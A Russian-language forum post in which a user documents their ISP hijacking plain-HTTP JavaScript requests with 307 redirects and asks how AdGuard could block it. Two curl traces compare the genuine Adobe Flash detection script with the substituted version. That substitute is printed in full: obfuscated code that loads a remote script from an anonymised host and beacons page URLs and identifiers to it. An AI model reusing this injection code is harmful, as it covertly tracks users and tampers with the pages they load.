Karamzin
Member
В последнее время провайдер ничтоже сумняшеся ведёт перехват http трафика и ладно бы встраивал рекламу, так нет же пихает пропаганду. Моральную сторону этого вопроса я затрагивать не хочу, а хочу разобраться как сей вопрос решить посредством adguard'a ибо встраиваемые провадером блоки к чёрту ломают форумную структуру (что характерно, страдают от подобного именно форумы) и вся вёрстка сайта летит к чертям. Как это работает. Провайдер перехватывает java - скрипты с http - сайтов (выборка идёт или по маске или целенаправленно по хостам), и принудительно редиректит 307-м Temporary Redirect'ом их на свой хост, где оригинальный код скрипта подменяется чужеродным, который в свою очередь прогружает исходный. Т.е. по http мы имеем следующее :
по https, что неудивительно, грузится оригинальный скрипт
Теперь вопрос. Как с этим бороться посредство adguard'a и не мешать прогрузке оригинального сайта ? https не всегла есть возможность использовать т.к. многие ресурсы, куда заносит сёрфинг или открываются по дефолту в http или не имеют https как такового (на удивление таковых довольно много). Давать отрабатывать чужеродному коду (и вырезать блоки постфактум) ой как не хочется т.к. он паровозом тянет много чего ещё и после его отработки идут десятки левых, а может и сотни левых запросов, ибо паразитный трафик я регистрировал ещё 2 - 3 минуты после прогрузки блоков (что там конкретно грузилось особо не смотрел). Умеет ли адгард бороться с подобным ? Позволяет ли он принудительно редиректить http на https (если у сайта таковой имеется) ?
p.s. В содержимом http - запроса заменил id, адреса сайтов, номер региона и ip-адрес на "xxx", "xx", "example.org" и "0.0.0.0" соответственно, чтобы лишний раз себя не деанонить, а то мало ли, так что не обессудьте
...
Code:
curl -v -sL 'http://forum.ru-board.com/board/AC_RunActiveContent.js'
* About to connect() to forum.ru-board.com port 80 (#0)
* Trying 94.156.128.52...
* connected
* Connected to forum.ru-board.com (94.156.128.52) port 80 (#0)
> GET /board/AC_RunActiveContent.js HTTP/1.1
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
> Host: forum.ru-board.com
> Accept: */*
> Accept-Encoding: deflate, gzip
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 307 Temporary Redirect
< Pragma: no-cache
< Cache-Control: no-store, no-cache, must-revalidate, max-age=0
< Connection: close
< Content-Type: text/plain
< Location: http://example.org/?id=xxx®=xx&orig=http%3A%2F%2Fforum.ru-board.com%2Fboard%2FAC_RunActiveContent.js
< Content-Length: 1
<
* Closing connection #0
* Issue another request to this URL: 'http://example.org/?id=xxx®=xx&orig=http%3A%2F%2Fforum.ru-board.com%2Fboard%2FAC_RunActiveContent.js'
* About to connect() to example.org port 80 (#0)
* Trying 0.0.0.0...
* connected
* Connected to example.org (0.0.0.0) port 80 (#0)
> GET /?id=xxx®=xx&orig=http%3A%2F%2Fforum.ru-board.com%2Fboard%2FAC_RunActiveContent.js HTTP/1.1
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
> Host: example.org
> Accept: */*
> Accept-Encoding: deflate, gzip
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Server: nginx
< Date: Fri, 07 Oct 2022 05:17:00 GMT
< Content-Type: application/javascript; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
< Cache-Control: no-cache, no-store, must-revalidate
< Pragma: no-cache
< Expires: 0
< Content-Encoding: gzip
<
var _0x23f1 = [
'hmcsN',
'OKlrp',
'Wjrov',
'KKiky',
'currentScript',
'scripts',
'rkxBJ',
'defer',
'htLqe',
'ywtGv',
'__qsrad',
'http://example.org/1/6628/i/i?i=',
'random',
'&c=tg:sid_na%20aid_',
'%20step_sub%20rid_',
'anPus',
'aSSXP',
'ODLAD',
'AkhyC',
'OVCYC',
'&if=',
'FInJV',
'Jynff',
'joSbn',
'IKuek',
'self',
'RYBQX',
'bXIBc',
'aAnMP',
'parentNode',
'insertBefore',
'nextSibling',
'write',
'outerHTML',
'createElement',
'JgGSx',
'prototype',
'slice',
'call',
'attributes',
'Puluq',
'setAttribute',
'nodeValue',
'src',
'®=',
'&id=',
'&referer=',
'script',
'http://example.org/ad/base.js?id=',
'http://example.org/p.gif?ch=r&rid=',
'rwSzs',
'KVDqs',
'fbbQj',
'sZuBB'
];
(function (_0x38ae5c, _0x3b4b7f) {
var _0x56bea0 = function (_0x217d5a) {
while (--_0x217d5a) {
_0x38ae5c['push'](_0x38ae5c['shift']());
}
};
_0x56bea0(++_0x3b4b7f);
}(_0x23f1, 0x104));
var _0x389e = function (_0x5cd1f7, _0x1200c1) {
_0x5cd1f7 = _0x5cd1f7 - 0x0;
var _0x6da02d = _0x23f1[_0x5cd1f7];
return _0x6da02d;
};
(function () {
var _0x49c5bb = {
'anPus': function (_0x2015c0, _0x2c61f8) {
return _0x2015c0 + _0x2c61f8;
},
'aSSXP': function (_0x20caa7, _0x212e64) {
return _0x20caa7 + _0x212e64;
},
'ODLAD': function (_0x3a9e6a, _0x3aae04) {
return _0x3a9e6a + _0x3aae04;
},
'AkhyC': function (_0x5cef94, _0x2013e7) {
return _0x5cef94 + _0x2013e7;
},
'OVCYC': function (_0x4d8c1a, _0x6db1e9) {
return _0x4d8c1a + _0x6db1e9;
},
'FInJV': function (_0x1b138a, _0x3ac28) {
return _0x1b138a(_0x3ac28);
},
'Jynff': function (_0x36d95e, _0xe749d7) {
return _0x36d95e === _0xe749d7;
},
'OKlrp': _0x389e('0x0'),
'joSbn': function (_0x464e55, _0x2c5bc1) {
return _0x464e55(_0x2c5bc1);
},
'IKuek': _0x389e('0x1'),
'ZJBEr': function (_0x1115c7, _0x47fb90) {
return _0x1115c7 !== _0x47fb90;
},
'RYBQX': function (_0x43f824, _0x507c3f) {
return _0x43f824 + _0x507c3f;
},
'bXIBc': _0x389e('0x2'),
'rwSzs': function (_0x3ce4a3, _0x5ef47d) {
return _0x3ce4a3 + _0x5ef47d;
},
'aAnMP': function (_0x3a7d27, _0x32c4ec) {
return _0x3a7d27(_0x32c4ec);
},
'sZuBB': function (_0x4ad819, _0x51e87b) {
return _0x4ad819(_0x51e87b);
},
'JgGSx': _0x389e('0x3'),
'Puluq': function (_0x2bf1d5, _0x4d076e) {
return _0x2bf1d5 < _0x4d076e;
},
'KVDqs': function (_0x280f2e, _0x32af80) {
return _0x280f2e + _0x32af80;
},
'fbbQj': function (_0x443b16, _0x53b4cf) {
return _0x443b16 + _0x53b4cf;
},
'pfbmS': _0x389e('0x4'),
'hmcsN': function (_0x55573e, _0xcc3c30) {
return _0x55573e(_0xcc3c30);
},
'Wjrov': _0x389e('0x5'),
'KKiky': function (_0x1b7bf7, _0x2d5e53) {
return _0x1b7bf7(_0x2d5e53);
},
'rkxBJ': function (_0x805332, _0x11f611) {
return _0x805332 - _0x11f611;
},
'oSEaU': function (_0x32f134) {
return _0x32f134();
},
'htLqe': function (_0x15017d) {
return _0x15017d();
},
'ywtGv': function (_0x907840) {
return _0x907840();
}
};
// javascript-obfuscator:disable
var rid = 'DWkwS4eCSAvIeSuidQgkIDIesw4';
var id = 'xxx';
var reg = 'xx';
var orig = 'http://forum.ru-board.com/board/AC_RunActiveContent.js' + '?'; // javascript-obfuscator:enable
var _0x53b9f7 = _0x49c5bb[_0x389e('0x6')](_0x49c5bb[_0x389e('0x7')](_0x49c5bb[_0x389e('0x7')](_0x49c5bb[_0x389e('0x8')](_0x49c5bb['pfbmS'], _0x49c5bb[_0x389e('0x9')](encodeURIComponent, id)), '&rid='), _0x49c5bb[_0x389e('0xa')](encodeURIComponent, rid)), _0x49c5bb[_0x389e('0xb')]) + encodeURIComponent(reg);
var _0x508dae = _0x49c5bb[_0x389e('0x8')](_0x49c5bb[_0x389e('0xc')], _0x49c5bb[_0x389e('0xd')](encodeURIComponent, rid));
var _0x23d860 = document[_0x389e('0xe')] || document[_0x389e('0xf')][_0x49c5bb[_0x389e('0x10')](document['scripts']['length'], 0x1)];
var _0xea865 = _0x50ee0e(orig, _0x23d860);
var _0x794dcf = _0x23d860['async'] || _0x23d860[_0x389e('0x11')] ? _0x4e780e : _0x5937ea;
_0x49c5bb[_0x389e('0xd')](_0x794dcf, _0xea865);
var _0x501428 = _0x49c5bb['oSEaU'](_0x59f8e3);
_0x49c5bb[_0x389e('0x12')](_0x26aaf1);
_0x49c5bb[_0x389e('0x13')](_0x33e6e2);
if (!window[_0x389e('0x14')] && !_0x501428) {
window[_0x389e('0x14')] = 0x1;
window['rid'] = rid;
_0x49c5bb[_0x389e('0x13')](_0x487a19);
}
function _0x33e6e2() {
new Image()['src'] = _0x389e('0x15') + Math[_0x389e('0x16')]() + _0x389e('0x17') + id + '%20reg_' + reg + _0x389e('0x18') + rid;
}
function _0x26aaf1() {
new Image()['src'] = _0x49c5bb[_0x389e('0x19')](_0x49c5bb[_0x389e('0x1a')](_0x49c5bb[_0x389e('0x1a')](_0x49c5bb[_0x389e('0x1b')](_0x49c5bb[_0x389e('0x1c')](_0x49c5bb[_0x389e('0x1d')](_0x49c5bb['OVCYC'](_0x508dae, _0x389e('0x1e')), _0x49c5bb[_0x389e('0x1f')](Number, _0x501428)), '&qsrad='), _0x49c5bb[_0x389e('0x20')](window[_0x389e('0x14')], 0x1) ? 0x1 : 0x0), _0x49c5bb['OKlrp']), _0x49c5bb[_0x389e('0x21')](encodeURIComponent, reg)) + _0x49c5bb[_0x389e('0x22')], _0x49c5bb[_0x389e('0x21')](encodeURIComponent, id));
}
function _0x59f8e3() {
try {
return _0x49c5bb['ZJBEr'](window[_0x389e('0x23')], window['top']);
} catch (_0x3d7bd4) {
return !![];
}
}
function _0x487a19() {
var _0x306157 = _0x49c5bb[_0x389e('0x24')](_0x49c5bb[_0x389e('0x25')], encodeURIComponent(location['href']));
var _0x3b5f19 = _0x49c5bb['rwSzs'](_0x53b9f7, _0x306157);
var _0x4bfca1 = _0x49c5bb[_0x389e('0x26')](_0x50ee0e, _0x3b5f19);
_0x49c5bb[_0x389e('0x9')](_0x4e780e, _0x4bfca1);
}
function _0x4e780e(_0x1c8cbd) {
_0x23d860[_0x389e('0x27')][_0x389e('0x28')](_0x1c8cbd, _0x23d860[_0x389e('0x29')]);
}
function _0x5937ea(_0x39a4c8) {
document[_0x389e('0x2a')](_0x39a4c8[_0x389e('0x2b')]);
}
function _0x50ee0e(_0x23ce2f, _0x51ca22) {
var _0x457409 = document[_0x389e('0x2c')](_0x49c5bb[_0x389e('0x2d')]);
if (_0x51ca22) {
var _0x1d4e8e = Array[_0x389e('0x2e')][_0x389e('0x2f')][_0x389e('0x30')](_0x23d860[_0x389e('0x31')]);
for (var _0x4cf2a0 = 0x0; _0x49c5bb[_0x389e('0x32')](_0x4cf2a0, _0x1d4e8e['length']); _0x4cf2a0++) {
_0x457409[_0x389e('0x33')](_0x1d4e8e[_0x4cf2a0]['nodeName'], _0x1d4e8e[_0x4cf2a0][_0x389e('0x34')]);
}
}
_0x457409[_0x389e('0x35')] = _0x23ce2f;
return _0x457409;
}
* Connection #0 to host example.org left intact
}());* Closing connection #0
Code:
curl -v -sL 'https://forum.ru-board.com/board/AC_RunActiveContent.js'
* About to connect() to forum.ru-board.com port 443 (#0)
* Trying 94.156.128.52...
* connected
* Connected to forum.ru-board.com (94.156.128.52) port 443 (#0)
* successfully set certificate verify locations:
* CAfile: none
CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server key exchange (12):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using ECDHE-RSA-AES256-GCM-SHA384
* Server certificate:
* subject: CN=forum.ru-board.com
* start date: 2022-10-04 12:05:29 GMT
* expire date: 2023-01-02 12:05:28 GMT
* issuer: C=US; O=Let's Encrypt; CN=R3
* SSL certificate verify result: certificate has expired (10), continuing anyway.
> GET /board/AC_RunActiveContent.js HTTP/1.1
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
> Host: forum.ru-board.com
> Accept: */*
> Accept-Encoding: deflate, gzip
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Server: nginx/1.10.1
< Date: Fri, 07 Oct 2022 05:17:20 GMT
< Content-Type: application/javascript
< Content-Length: 8321
< Last-Modified: Fri, 21 Oct 2011 23:54:15 GMT
< Connection: close
< ETag: "4ea20627-2081"
< Expires: Sun, 06 Nov 2022 05:17:20 GMT
< Cache-Control: max-age=2592000
< Accept-Ranges: bytes
<
//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated. All rights reserved.
var isIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
function ControlVersion()
{
var version;
var axo;
var e;
// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry
try {
// version will be set for 7.X or greater players
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
version = axo.GetVariable("$version");
} catch (e) {
}
if (!version)
{
try {
// version will be set for 6.X players only
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
// installed player is some revision of 6.0
// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
// so we have to be careful.
// default to the first public version
version = "WIN 6,0,21,0";
// throws if AllowScripAccess does not exist (introduced in 6.0r47)
axo.AllowScriptAccess = "always";
// safe to call for 6.0r47 or greater
version = axo.GetVariable("$version");
} catch (e) {
}
}
if (!version)
{
try {
// version will be set for 4.X or 5.X player
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
version = axo.GetVariable("$version");
} catch (e) {
}
}
if (!version)
{
try {
// version will be set for 3.X player
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
version = "WIN 3,0,18,0";
} catch (e) {
}
}
if (!version)
{
try {
// version will be set for 2.X player
axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
version = "WIN 2,0,0,11";
} catch (e) {
version = -1;
}
}
return version;
}
// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
// NS/Opera version >= 3 check for Flash plugin in plugin array
var flashVer = -1;
if (navigator.plugins != null && navigator.plugins.length > 0) {
if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
var descArray = flashDescription.split(" ");
var tempArrayMajor = descArray[2].split(".");
var versionMajor = tempArrayMajor[0];
var versionMinor = tempArrayMajor[1];
var versionRevision = descArray[3];
if (versionRevision == "") {
versionRevision = descArray[4];
}
if (versionRevision[0] == "d") {
versionRevision = versionRevision.substring(1);
} else if (versionRevision[0] == "r") {
versionRevision = versionRevision.substring(1);
if (versionRevision.indexOf("d") > 0) {
versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
}
}
var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
}
}
// MSN/WebTV 2.6 supports Flash 4
else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
// WebTV 2.5 supports Flash 3
else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
// older WebTV supports Flash 2
else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
else if ( isIE && isWin && !isOpera ) {
flashVer = ControlVersion();
}
return flashVer;
}
// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
versionStr = GetSwfVer();
if (versionStr == -1 ) {
return false;
} else if (versionStr != 0) {
if(isIE && isWin && !isOpera) {
// Given "WIN 2,0,0,11"
tempArray = versionStr.split(" "); // ["WIN", "2,0,0,11"]
tempString = tempArray[1]; // "2,0,0,11"
versionArray = tempString.split(","); // ['2', '0', '0', '11']
} else {
versionArray = versionStr.split(".");
}
var versionMajor = versionArray[0];
var versionMinor = versionArray[1];
var versionRevision = versionArray[2];
// is the major.revision >= requested major.revision AND the minor version >= requested minor
if (versionMajor > parseFloat(reqMajorVer)) {
return true;
} else if (versionMajor == parseFloat(reqMajorVer)) {
if (versionMinor > parseFloat(reqMinorVer))
return true;
else if (versionMinor == parseFloat(reqMinorVer)) {
if (versionRevision >= parseFloat(reqRevision))
return true;
}
}
return false;
}
}
function AC_AddExtension(src, ext)
{
if (src.indexOf('?') != -1)
return src.replace(/\?/, ext+'?');
else
return src + ext;
}
function AC_Generateobj(objAttrs, params, embedAttrs)
{
var str = '';
if (isIE && isWin && !isOpera)
{
str += '<object ';
for (var i in objAttrs)
{
str += i + '="' + objAttrs[i] + '" ';
}
str += '>';
for (var i in params)
{
str += '<param name="' + i + '" value="' + params[i] + '" /> ';
}
str += '</object>';
}
else
{
str += '<embed ';
for (var i in embedAttrs)
{
str += i + '="' + embedAttrs[i] + '" ';
}
str += '> </embed>';
}
document.write(str);
}
function AC_FL_RunContent(){
var ret =
AC_GetArgs
( arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
, "application/x-shockwave-flash"
);
AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_SW_RunContent(){
var ret =
AC_GetArgs
( arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
, null
);
AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}
function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
var ret = new Object();
ret.embedAttrs = new Object();
ret.params = new Object();
ret.objAttrs = new Object();
for (var i=0; i < args.length; i=i+2){
var currArg = args[i].toLowerCase();
switch (currArg){
case "classid":
break;
case "pluginspage":
ret.embedAttrs[args[i]] = args[i+1];
break;
case "src":
case "movie":
args[i+1] = AC_AddExtension(args[i+1], ext);
ret.embedAttrs["src"] = args[i+1];
ret.params[srcParamName] = args[i+1];
break;
case "onafterupdate":
case "onbeforeupdate":
case "onblur":
case "oncellchange":
case "onclick":
case "ondblclick":
case "ondrag":
case "ondragend":
case "ondragenter":
case "ondragleave":
case "ondragover":
case "ondrop":
case "onfinish":
case "onfocus":
case "onhelp":
case "onmousedown":
case "onmouseup":
case "onmouseover":
case "onmousemove":
case "onmouseout":
case "onkeypress":
case "onkeydown":
case "onkeyup":
case "onload":
case "onlosecapture":
case "onpropertychange":
case "onreadystatechange":
case "onrowsdelete":
case "onrowenter":
case "onrowexit":
case "onrowsinserted":
case "onstart":
case "onscroll":
case "onbeforeeditfocus":
case "onactivate":
case "onbeforedeactivate":
case "ondeactivate":
case "type":
case "codebase":
case "id":
ret.objAttrs[args[i]] = args[i+1];
break;
case "width":
case "height":
case "align":
case "vspace":
case "hspace":
case "class":
case "title":
case "accesskey":
case "name":
case "tabindex":
ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
break;
default:
ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
}
}
ret.objAttrs["classid"] = classid;
if (mimeType) ret.embedAttrs["type"] = mimeType;
return ret;
}
* Closing connection #0
p.s. В содержимом http - запроса заменил id, адреса сайтов, номер региона и ip-адрес на "xxx", "xx", "example.org" и "0.0.0.0" соответственно, чтобы лишний раз себя не деанонить, а то мало ли, так что не обессудьте
Last edited: